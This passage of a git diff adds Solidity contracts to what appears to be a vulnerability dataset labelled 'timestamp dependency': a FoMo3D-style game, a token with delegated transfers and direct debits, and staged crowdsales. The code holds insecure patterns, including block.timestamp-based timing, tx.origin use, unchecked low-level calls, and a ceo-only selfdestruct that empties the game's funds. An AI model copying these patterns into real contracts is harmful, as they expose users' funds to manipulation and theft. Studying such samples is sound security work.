updateGenVault(_pID, plyr_[_pID].lrnd); + + uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); + if (_earnings > 0) + { + plyr_[_pID].win = 0; + plyr_[_pID].gen = 0; + plyr_[_pID].aff = 0; + } + + return(_earnings); + } + + function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) + private + { + _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); + _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); + + emit F3Devents.onEndTx + ( + _eventData_.compressedData, + _eventData_.compressedIDs, + plyr_[_pID].name, + msg.sender, + _eth, + _keys, + _eventData_.winnerAddr, + _eventData_.winnerName, + _eventData_.amountWon, + _eventData_.newPot, + _eventData_.P3DAmount, + _eventData_.genAmount, + _eventData_.potAmount, + airDropPot_ + ); + } + + bool public activated_ = false; + function activate() + public + { + require( msg.sender == ceo, "ONLY ceo CAN activate" ); + require(activated_ == false, "Already Activated"); + + activated_ = true; + + rID_ = 1; + round_[1].strt = now + rndExtra_ - rndGap_; + round_[1].end = now + rndInit_ + rndExtra_; + } + + function disable() + public + { + require( msg.sender == ceo, "ONLY ceo" ); + selfdestruct(ceo); + } +} + +library F3Ddatasets { + struct EventReturns { + uint256 compressedData; + uint256 compressedIDs; + address winnerAddr; + bytes32 winnerName; + uint256 amountWon; + uint256 newPot; + uint256 P3DAmount; + uint256 genAmount; + uint256 potAmount; + } + struct Player { + address addr; + bytes32 name; + uint256 win; + uint256 gen; + uint256 aff; + uint256 lrnd; + uint256 laff; + } + struct PlayerRounds { + uint256 eth; + uint256 keys; + uint256 mask; + uint256 ico; + } + struct Round { + uint256 plyr; + uint256 team; + uint256 end; + bool ended; + uint256 strt; + uint256 keys; + uint256 eth; + uint256 pot; + uint256 mask; + uint256 ico; + uint256 icoGen; + uint256 icoAvg; + } + struct TeamFee { + uint256 gen; + uint256 p3d; + } + struct PotSplit { + uint256 gen; + uint256 p3d; + } +} + +library F3DKeysCalcLong { + using SafeMath for *; + + function keysRec(uint256 _curEth, uint256 _newEth) + internal + pure + returns (uint256) + { + return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); + } + + + function ethRec(uint256 _curKeys, uint256 _sellKeys) + internal + pure + returns (uint256) + { + return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); + } + + + function keys(uint256 _eth) + internal + pure + returns(uint256) + { + return ((((((_eth).mul(1000000000000000000)).mul(31250000000000000000000000000)).add(56249882812561035156250000000000000000000000000000000000000000000000)).sqrt()).sub(7499992187500000000000000000000000)) / (15625000000); + } + + + function eth(uint256 _keys) + internal + pure + returns(uint256) + { + return ((7812500000).mul(_keys.sq()).add((7499992187500000).mul(_keys.mul(1000000000000000000)))) / ((1000000000000000000).sq()) ; + } +} + +interface PlayerBookInterface { + function getPlayerID(address _addr) external returns (uint256); + function getPlayerName(uint256 _pID) external view returns (bytes32); + function getPlayerLAff(uint256 _pID) external view returns (uint256); + function getPlayerAddr(uint256 _pID) external view returns (address); + function getNameFee() external view returns (uint256); + function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); + function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); +} + +library NameFilter { + function nameFilter(string _input) + internal + pure + returns(bytes32) + { + bytes memory _temp = bytes(_input); + uint256 _length = _temp.length; + + require (_length <= 32 && _length > 0, "Invalid Length"); + require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "Can NOT start with SPACE"); + if (_temp[0] == 0x30) + { + require(_temp[1] != 0x78, "CAN NOT Start With 0x"); + require(_temp[1] != 0x58, "CAN NOT Start With 0X"); + } + + bool _hasNonNumber; + + for (uint256 i = 0; i < _length; i++) + { + + if (_temp[i] > 0x40 && _temp[i] < 0x5b) + { + _temp[i] = byte(uint(_temp[i]) + 32); + if (_hasNonNumber == false) + _hasNonNumber = true; + } else { + require + ( + _temp[i] == 0x20 || + (_temp[i] > 0x60 && _temp[i] < 0x7b) || + (_temp[i] > 0x2f && _temp[i] < 0x3a), + "Include Illegal Characters!" + ); + if (_temp[i] == 0x20) + require( _temp[i+1] != 0x20, + "ONLY One Space Allowed"); + + if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) + _hasNonNumber = true; + } + } + + require(_hasNonNumber == true, "All Numbers Not Allowed"); + + bytes32 _ret; + assembly { + _ret := mload(add(_temp, 32)) + } + return (_ret); + } +} + +library SafeMath { + function mul(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + if (a == 0) { + return 0; + } + c = a * b; + require(c / a == b, "Mul Failed"); + return c; + } + function sub(uint256 a, uint256 b) + internal + pure + returns (uint256) + { + require(b <= a, "Sub Failed"); + return a - b; + } + + function add(uint256 a, uint256 b) + internal + pure + returns (uint256 c) + { + c = a + b; + require(c >= a, "Add Failed"); + return c; + } + + function sqrt(uint256 x) + internal + pure + returns (uint256 y) + { + uint256 z = ((add(x,1)) / 2); + y = x; + while (z < y) + { + y = z; + z = ((add((x / z),z)) / 2); + } + } + function sq(uint256 x) + internal + pure + returns (uint256) + { + return (mul(x,x)); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/578.sol b/smart_contract_dataset/timestamp dependency/578.sol new file mode 100644 index 0000000000000000000000000000000000000000..a3955e0c2e921395b6453bc49f8b3d737b5eeb20 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/578.sol @@ -0,0 +1,668 @@ +pragma solidity ^0.4.24; +pragma experimental "v0.5.0"; +pragma experimental ABIEncoderV2; + +library AddressExtension { + + function isValid(address _address) internal pure returns (bool) { + return 0 != _address; + } + + function isAccount(address _address) internal view returns (bool result) { + assembly { + result := iszero(extcodesize(_address)) + } + } + + function toBytes(address _address) internal pure returns (bytes b) { + assembly { + let m := mload(0x40) + mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, _address)) + mstore(0x40, add(m, 52)) + b := m + } + } +} + +library Math { + + struct Fraction { + uint256 numerator; + uint256 denominator; + } + + function isPositive(Fraction memory fraction) internal pure returns (bool) { + return fraction.numerator > 0 && fraction.denominator > 0; + } + + function mul(uint256 a, uint256 b) internal pure returns (uint256 r) { + r = a * b; + require((a == 0) || (r / a == b)); + } + + function div(uint256 a, uint256 b) internal pure returns (uint256 r) { + r = a / b; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256 r) { + require((r = a - b) <= a); + } + + function add(uint256 a, uint256 b) internal pure returns (uint256 r) { + require((r = a + b) >= a); + } + + function min(uint256 x, uint256 y) internal pure returns (uint256 r) { + return x <= y ? x : y; + } + + function max(uint256 x, uint256 y) internal pure returns (uint256 r) { + return x >= y ? x : y; + } + + function mulDiv(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { + r = value * m; + if (r / value == m) { + r /= d; + } else { + r = mul(value / d, m); + } + } + + function mulDivCeil(uint256 value, uint256 m, uint256 d) internal pure returns (uint256 r) { + r = value * m; + if (r / value == m) { + if (r % d == 0) { + r /= d; + } else { + r = (r / d) + 1; + } + } else { + r = mul(value / d, m); + if (value % d != 0) { + r += 1; + } + } + } + + function mul(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDiv(x, f.numerator, f.denominator); + } + + function mulCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDivCeil(x, f.numerator, f.denominator); + } + + function div(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDiv(x, f.denominator, f.numerator); + } + + function divCeil(uint256 x, Fraction memory f) internal pure returns (uint256) { + return mulDivCeil(x, f.denominator, f.numerator); + } + + function mul(Fraction memory x, Fraction memory y) internal pure returns (Math.Fraction) { + return Math.Fraction({ + numerator: mul(x.numerator, y.numerator), + denominator: mul(x.denominator, y.denominator) + }); + } +} + +contract FsTKAuthority { + + function isAuthorized(address sender, address _contract, bytes data) public view returns (bool); + function isApproved(bytes32 hash, uint256 approveTime, bytes approveToken) public view returns (bool); + function validate() public pure returns (bytes4); +} + +contract Authorizable { + + event SetFsTKAuthority(FsTKAuthority indexed _address); + + modifier onlyFsTKAuthorized { + require(fstkAuthority.isAuthorized(msg.sender, this, msg.data)); + _; + } + modifier onlyFsTKApproved(bytes32 hash, uint256 approveTime, bytes approveToken) { + require(fstkAuthority.isApproved(hash, approveTime, approveToken)); + _; + } + + FsTKAuthority internal fstkAuthority; + + constructor(FsTKAuthority _fstkAuthority) internal { + fstkAuthority = _fstkAuthority; + } + + function setFsTKAuthority(FsTKAuthority _fstkAuthority) public onlyFsTKAuthorized { + require(_fstkAuthority.validate() == _fstkAuthority.validate.selector); + emit SetFsTKAuthority(fstkAuthority = _fstkAuthority); + } +} + +contract IssuerContract { + using AddressExtension for address; + + event SetIssuer(address indexed _address); + + modifier onlyIssuer { + require(issuer == msg.sender); + _; + } + + address public issuer; + address public newIssuer; + + constructor(address _issuer) internal { + issuer = _issuer; + } + + function setIssuer(address _address) public onlyIssuer { + newIssuer = _address; + } + + function confirmSetIssuer() public { + require(newIssuer == msg.sender); + emit SetIssuer(issuer = newIssuer); + delete newIssuer; + } +} + +contract ERC20 { + + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); + + function balanceOf(address owner) public view returns (uint256); + function allowance(address owner, address spender) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); +} + +contract SecureERC20 is ERC20 { + + event SetERC20ApproveChecking(bool approveChecking); + + function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool); + function increaseAllowance(address spender, uint256 value) public returns (bool); + function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool); + function setERC20ApproveChecking(bool approveChecking) public; +} + +contract FsTKToken { + + enum DelegateMode { PublicMsgSender, PublicTxOrigin, PrivateMsgSender, PrivateTxOrigin } + + event Consume(address indexed from, uint256 value, bytes32 challenge); + event IncreaseNonce(address indexed from, uint256 nonce); + event SetupDirectDebit(address indexed debtor, address indexed receiver, DirectDebitInfo info); + event TerminateDirectDebit(address indexed debtor, address indexed receiver); + event WithdrawDirectDebitFailure(address indexed debtor, address indexed receiver); + + event SetMetadata(string metadata); + event SetLiquid(bool liquidity); + event SetDelegate(bool isDelegateEnable); + event SetDirectDebit(bool isDirectDebitEnable); + + struct DirectDebitInfo { + uint256 amount; + uint256 startTime; + uint256 interval; + } + struct DirectDebit { + DirectDebitInfo info; + uint256 epoch; + } + struct Instrument { + uint256 allowance; + DirectDebit directDebit; + } + struct Account { + uint256 balance; + uint256 nonce; + mapping (address => Instrument) instruments; + } + + function spendableAllowance(address owner, address spender) public view returns (uint256); + function transfer(uint256[] data) public returns (bool); + function transferAndCall(address to, uint256 value, bytes data) public payable returns (bool); + + function nonceOf(address owner) public view returns (uint256); + function increaseNonce() public returns (bool); + function delegateTransferAndCall( + uint256 nonce, + uint256 fee, + uint256 gasAmount, + address to, + uint256 value, + bytes data, + DelegateMode mode, + uint8 v, + bytes32 r, + bytes32 s + ) public returns (bool); + + function directDebit(address debtor, address receiver) public view returns (DirectDebit); + function setupDirectDebit(address receiver, DirectDebitInfo info) public returns (bool); + function terminateDirectDebit(address receiver) public returns (bool); + function withdrawDirectDebit(address debtor) public returns (bool); + function withdrawDirectDebit(address[] debtors, bool strict) public returns (bool); +} + +contract ERC20Like is SecureERC20, FsTKToken { + using AddressExtension for address; + using Math for uint256; + + modifier liquid { + require(isLiquid); + _; + } + modifier canUseDirectDebit { + require(isDirectDebitEnable); + _; + } + modifier canDelegate { + require(isDelegateEnable); + _; + } + + bool public erc20ApproveChecking; + bool public isLiquid = true; + bool public isDelegateEnable; + bool public isDirectDebitEnable; + string public metadata; + mapping(address => Account) internal accounts; + + constructor(string _metadata) public { + metadata = _metadata; + } + + function balanceOf(address owner) public view returns (uint256) { + return accounts[owner].balance; + } + + function allowance(address owner, address spender) public view returns (uint256) { + return accounts[owner].instruments[spender].allowance; + } + + function transfer(address to, uint256 value) public liquid returns (bool) { + Account storage senderAccount = accounts[msg.sender]; + + senderAccount.balance = senderAccount.balance.sub(value); + accounts[to].balance += value; + + emit Transfer(msg.sender, to, value); + return true; + } + + function transferFrom(address from, address to, uint256 value) public liquid returns (bool) { + Account storage fromAccount = accounts[from]; + Instrument storage senderInstrument = fromAccount.instruments[msg.sender]; + + fromAccount.balance = fromAccount.balance.sub(value); + senderInstrument.allowance = senderInstrument.allowance.sub(value); + accounts[to].balance += value; + + emit Transfer(from, to, value); + return true; + } + + function approve(address spender, uint256 value) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + if (erc20ApproveChecking) { + require((value == 0) || (spenderInstrument.allowance == 0)); + } + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = value + ); + return true; + } + + function setERC20ApproveChecking(bool approveChecking) public { + emit SetERC20ApproveChecking(erc20ApproveChecking = approveChecking); + } + + function approve(address spender, uint256 expectedValue, uint256 newValue) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + require(spenderInstrument.allowance == expectedValue); + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = newValue + ); + return true; + } + + function increaseAllowance(address spender, uint256 value) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = spenderInstrument.allowance.add(value) + ); + return true; + } + + function decreaseAllowance(address spender, uint256 value, bool strict) public returns (bool) { + Instrument storage spenderInstrument = accounts[msg.sender].instruments[spender]; + + uint256 currentValue = spenderInstrument.allowance; + uint256 newValue; + if (strict) { + newValue = currentValue.sub(value); + } else if (value < currentValue) { + newValue = currentValue - value; + } + + emit Approval( + msg.sender, + spender, + spenderInstrument.allowance = newValue + ); + return true; + } + + function setMetadata0(string _metadata) internal { + emit SetMetadata(metadata = _metadata); + } + + function setLiquid0(bool liquidity) internal { + emit SetLiquid(isLiquid = liquidity); + } + + function setDelegate(bool delegate) public { + emit SetDelegate(isDelegateEnable = delegate); + } + + function setDirectDebit(bool directDebit) public { + emit SetDirectDebit(isDirectDebitEnable = directDebit); + } + + function spendableAllowance(address owner, address spender) public view returns (uint256) { + Account storage ownerAccount = accounts[owner]; + return Math.min( + ownerAccount.instruments[spender].allowance, + ownerAccount.balance + ); + } + + function transfer(uint256[] data) public liquid returns (bool) { + Account storage senderAccount = accounts[msg.sender]; + uint256 totalValue; + + for (uint256 i = 0; i < data.length; i++) { + address receiver = address(data[i] >> 96); + uint256 value = data[i] & 0xffffffffffffffffffffffff; + + totalValue = totalValue.add(value); + accounts[receiver].balance += value; + + emit Transfer(msg.sender, receiver, value); + } + + senderAccount.balance = senderAccount.balance.sub(totalValue); + + return true; + } + + function transferAndCall( + address to, + uint256 value, + bytes data + ) + public + payable + liquid + returns (bool) + { + require( + to != address(this) && + data.length >= 68 && + transfer(to, value) + ); + assembly { + mstore(add(data, 36), value) + mstore(add(data, 68), caller) + } + require(to.call.value(msg.value)(data)); + return true; + } + + function nonceOf(address owner) public view returns (uint256) { + return accounts[owner].nonce; + } + + function increaseNonce() public returns (bool) { + emit IncreaseNonce(msg.sender, accounts[msg.sender].nonce += 1); + } + + function delegateTransferAndCall( + uint256 nonce, + uint256 fee, + uint256 gasAmount, + address to, + uint256 value, + bytes data, + DelegateMode mode, + uint8 v, + bytes32 r, + bytes32 s + ) + public + liquid + canDelegate + returns (bool) + { + require(to != address(this)); + address signer; + address relayer; + if (mode == DelegateMode.PublicMsgSender) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, address(0))), + v, + r, + s + ); + relayer = msg.sender; + } else if (mode == DelegateMode.PublicTxOrigin) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, address(0))), + v, + r, + s + ); + relayer = tx.origin; + } else if (mode == DelegateMode.PrivateMsgSender) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, msg.sender)), + v, + r, + s + ); + relayer = msg.sender; + } else if (mode == DelegateMode.PrivateTxOrigin) { + signer = ecrecover( + keccak256(abi.encodePacked(this, nonce, fee, gasAmount, to, value, data, mode, tx.origin)), + v, + r, + s + ); + relayer = tx.origin; + } else { + revert(); + } + + Account storage signerAccount = accounts[signer]; + require(nonce == signerAccount.nonce); + emit IncreaseNonce(signer, signerAccount.nonce += 1); + + signerAccount.balance = signerAccount.balance.sub(value.add(fee)); + accounts[to].balance += value; + if (fee != 0) { + accounts[relayer].balance += fee; + emit Transfer(signer, relayer, fee); + } + + if (!to.isAccount() && data.length >= 68) { + assembly { + mstore(add(data, 36), value) + mstore(add(data, 68), signer) + } + if (to.call.gas(gasAmount)(data)) { + emit Transfer(signer, to, value); + } else { + signerAccount.balance += value; + accounts[to].balance -= value; + } + } else { + emit Transfer(signer, to, value); + } + + return true; + } + + function directDebit(address debtor, address receiver) public view returns (DirectDebit) { + return accounts[debtor].instruments[receiver].directDebit; + } + + function setupDirectDebit( + address receiver, + DirectDebitInfo info + ) + public + returns (bool) + { + accounts[msg.sender].instruments[receiver].directDebit = DirectDebit({ + info: info, + epoch: 0 + }); + + emit SetupDirectDebit(msg.sender, receiver, info); + return true; + } + + function terminateDirectDebit(address receiver) public returns (bool) { + delete accounts[msg.sender].instruments[receiver].directDebit; + + emit TerminateDirectDebit(msg.sender, receiver); + return true; + } + + function withdrawDirectDebit(address debtor) public liquid canUseDirectDebit returns (bool) { + Account storage debtorAccount = accounts[debtor]; + DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; + uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); + uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); + require(amount > 0); + debtorAccount.balance = debtorAccount.balance.sub(amount); + accounts[msg.sender].balance += amount; + debit.epoch = epoch; + + emit Transfer(debtor, msg.sender, amount); + return true; + } + + function withdrawDirectDebit(address[] debtors, bool strict) public liquid canUseDirectDebit returns (bool result) { + Account storage receiverAccount = accounts[msg.sender]; + result = true; + uint256 total; + + for (uint256 i = 0; i < debtors.length; i++) { + address debtor = debtors[i]; + Account storage debtorAccount = accounts[debtor]; + DirectDebit storage debit = debtorAccount.instruments[msg.sender].directDebit; + uint256 epoch = (block.timestamp.sub(debit.info.startTime) / debit.info.interval).add(1); + uint256 amount = epoch.sub(debit.epoch).mul(debit.info.amount); + require(amount > 0); + uint256 debtorBalance = debtorAccount.balance; + + if (amount > debtorBalance) { + if (strict) { + revert(); + } + result = false; + emit WithdrawDirectDebitFailure(debtor, msg.sender); + } else { + debtorAccount.balance = debtorBalance - amount; + total += amount; + debit.epoch = epoch; + + emit Transfer(debtor, msg.sender, amount); + } + } + + receiverAccount.balance += total; + } +} + +contract SmartToken is Authorizable, IssuerContract, ERC20Like { + + string public name; + string public symbol; + uint256 public totalSupply; + uint8 public constant decimals = 18; + + constructor( + address _issuer, + FsTKAuthority _fstkAuthority, + string _name, + string _symbol, + uint256 _totalSupply, + string _metadata + ) + Authorizable(_fstkAuthority) + IssuerContract(_issuer) + ERC20Like(_metadata) + public + { + name = _name; + symbol = _symbol; + totalSupply = _totalSupply; + + accounts[_issuer].balance = _totalSupply; + emit Transfer(address(0), _issuer, _totalSupply); + } + + function setERC20ApproveChecking(bool approveChecking) public onlyIssuer { + super.setERC20ApproveChecking(approveChecking); + } + + function setDelegate(bool delegate) public onlyIssuer { + super.setDelegate(delegate); + } + + function setDirectDebit(bool directDebit) public onlyIssuer { + super.setDirectDebit(directDebit); + } + + function setMetadata( + string infoUrl, + uint256 approveTime, + bytes approveToken + ) + public + onlyIssuer + onlyFsTKApproved(keccak256(abi.encodePacked(approveTime, this, msg.sig, infoUrl)), approveTime, approveToken) + { + setMetadata0(infoUrl); + } + + function setLiquid( + bool liquidity, + uint256 approveTime, + bytes approveToken + ) + public + onlyIssuer + onlyFsTKApproved(keccak256(abi.encodePacked(approveTime, this, msg.sig, liquidity)), approveTime, approveToken) + { + setLiquid0(liquidity); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6053.sol b/smart_contract_dataset/timestamp dependency/6053.sol new file mode 100644 index 0000000000000000000000000000000000000000..6a2b6c3efb23fbe9e761a489520069babbd1827c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6053.sol @@ -0,0 +1,466 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract Crowdsale { + using SafeMath for uint256; + + + ERC20 public token; + + + address public wallet; + + + + + + uint256 public rate; + + + uint256 public weiRaised; + + + event TokenPurchase( + address indexed purchaser, + address indexed beneficiary, + uint256 value, + uint256 amount + ); + + + constructor(uint256 _rate, address _wallet, ERC20 _token) public { + require(_rate > 0); + require(_wallet != address(0)); + require(_token != address(0)); + + rate = _rate; + wallet = _wallet; + token = _token; + } + + + + + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address _beneficiary) public payable { + + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + + + + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + require(_beneficiary != address(0)); + require(_weiAmount != 0); + } + + + function _postValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + + } + + + function _deliverTokens( + address _beneficiary, + uint256 _tokenAmount + ) + internal + { + token.transfer(_beneficiary, _tokenAmount); + } + + + function _processPurchase( + address _beneficiary, + uint256 _tokenAmount + ) + internal + { + _deliverTokens(_beneficiary, _tokenAmount); + } + + + function _updatePurchasingState( + address _beneficiary, + uint256 _weiAmount + ) + internal + { + + } + + + function _getTokenAmount(uint256 _weiAmount) + internal view returns (uint256) + { + return _weiAmount.mul(rate); + } + + + function _forwardFunds() internal { + wallet.transfer(msg.value); + } +} + + + + +contract TimedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public openingTime; + uint256 public closingTime; + + + modifier onlyWhileOpen { + + require(block.timestamp >= openingTime && block.timestamp <= closingTime); + _; + } + + + constructor(uint256 _openingTime, uint256 _closingTime) public { + + require(_openingTime >= block.timestamp); + require(_closingTime >= _openingTime); + + openingTime = _openingTime; + closingTime = _closingTime; + } + + + function hasClosed() public view returns (bool) { + + return block.timestamp > closingTime; + } + + + function _preValidatePurchase( + address _beneficiary, + uint256 _weiAmount + ) + internal + onlyWhileOpen + { + super._preValidatePurchase(_beneficiary, _weiAmount); + } + +} + + + + +contract FinalizableCrowdsale is TimedCrowdsale, Ownable { + using SafeMath for uint256; + + bool public isFinalized = false; + + event Finalized(); + + + function finalize() onlyOwner public { + require(!isFinalized); + require(hasClosed()); + + finalization(); + emit Finalized(); + + isFinalized = true; + } + + + function finalization() internal { + } + +} + + + +contract StageCrowdsale is FinalizableCrowdsale { + bool public previousStageIsFinalized = false; + StageCrowdsale public previousStage; + + constructor( + uint256 _rate, + address _wallet, + ERC20 _token, + uint256 _openingTime, + uint256 _closingTime, + StageCrowdsale _previousStage + ) + public + Crowdsale(_rate, _wallet, _token) + TimedCrowdsale(_openingTime, _closingTime) + { + previousStage = _previousStage; + if (_previousStage == address(0)) { + previousStageIsFinalized = true; + } + } + + modifier isNotFinalized() { + require(!isFinalized, "Call on finalized."); + _; + } + + modifier previousIsFinalized() { + require(isPreviousStageFinalized(), "Call on previous stage finalized."); + _; + } + + function finalizeStage() public onlyOwner isNotFinalized { + _finalizeStage(); + } + + function proxyBuyTokens(address _beneficiary) public payable { + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + + emit TokenPurchase(tx.origin, _beneficiary, weiAmount, tokens); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + function isPreviousStageFinalized() public returns (bool) { + if (previousStageIsFinalized) { + return true; + } + if (previousStage.isFinalized()) { + previousStageIsFinalized = true; + } + return previousStageIsFinalized; + } + + function _finalizeStage() internal isNotFinalized { + finalization(); + emit Finalized(); + isFinalized = true; + } + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isNotFinalized previousIsFinalized { + super._preValidatePurchase(_beneficiary, _weiAmount); + } +} + + + +contract MultiStageCrowdsale is Ownable { + + uint256 public currentStageIndex = 0; + StageCrowdsale[] public stages; + + event StageAdded(); + + function () external payable { + buyTokens(msg.sender); + } + + modifier hasCurrentStage() { + require(currentStageIndex < stages.length); + _; + } + + modifier validBuyCall(address _beneficiary) { + require(_beneficiary != address(0)); + require(msg.value != 0); + _; + } + + function addStageCrowdsale(address _stageCrowdsaleAddress) public onlyOwner { + require(_stageCrowdsaleAddress != address(0)); + StageCrowdsale stageToBeAdded = StageCrowdsale(_stageCrowdsaleAddress); + if (stages.length > 0) { + require(stageToBeAdded.previousStage() != address(0)); + StageCrowdsale lastStage = stages[stages.length - 1]; + require(stageToBeAdded.openingTime() >= lastStage.closingTime()); + } + stages.push(stageToBeAdded); + emit StageAdded(); + } + + function buyTokens(address _beneficiary) public payable validBuyCall(_beneficiary) hasCurrentStage { + StageCrowdsale stage = updateCurrentStage(); + stage.proxyBuyTokens.value(msg.value)(_beneficiary); + updateCurrentStage(); + } + + function getCurrentStage() public view returns (StageCrowdsale) { + if (stages.length > 0) { + return stages[currentStageIndex]; + } + } + + function updateCurrentStage() public returns (StageCrowdsale currentStage) { + if (currentStageIndex < stages.length) { + currentStage = stages[currentStageIndex]; + while (currentStage.isFinalized() && currentStageIndex + 1 < stages.length) { + currentStage = stages[++currentStageIndex]; + } + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/6054.sol b/smart_contract_dataset/timestamp dependency/6054.sol new file mode 100644 index 0000000000000000000000000000000000000000..98f0079b5c55e14158af980587901b8a451ccd56 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/6054.sol @@ -0,0 +1,1033 @@ +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + + + + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + + + + +contract Crowdsale { + using SafeMath for uint256; + + + ERC20 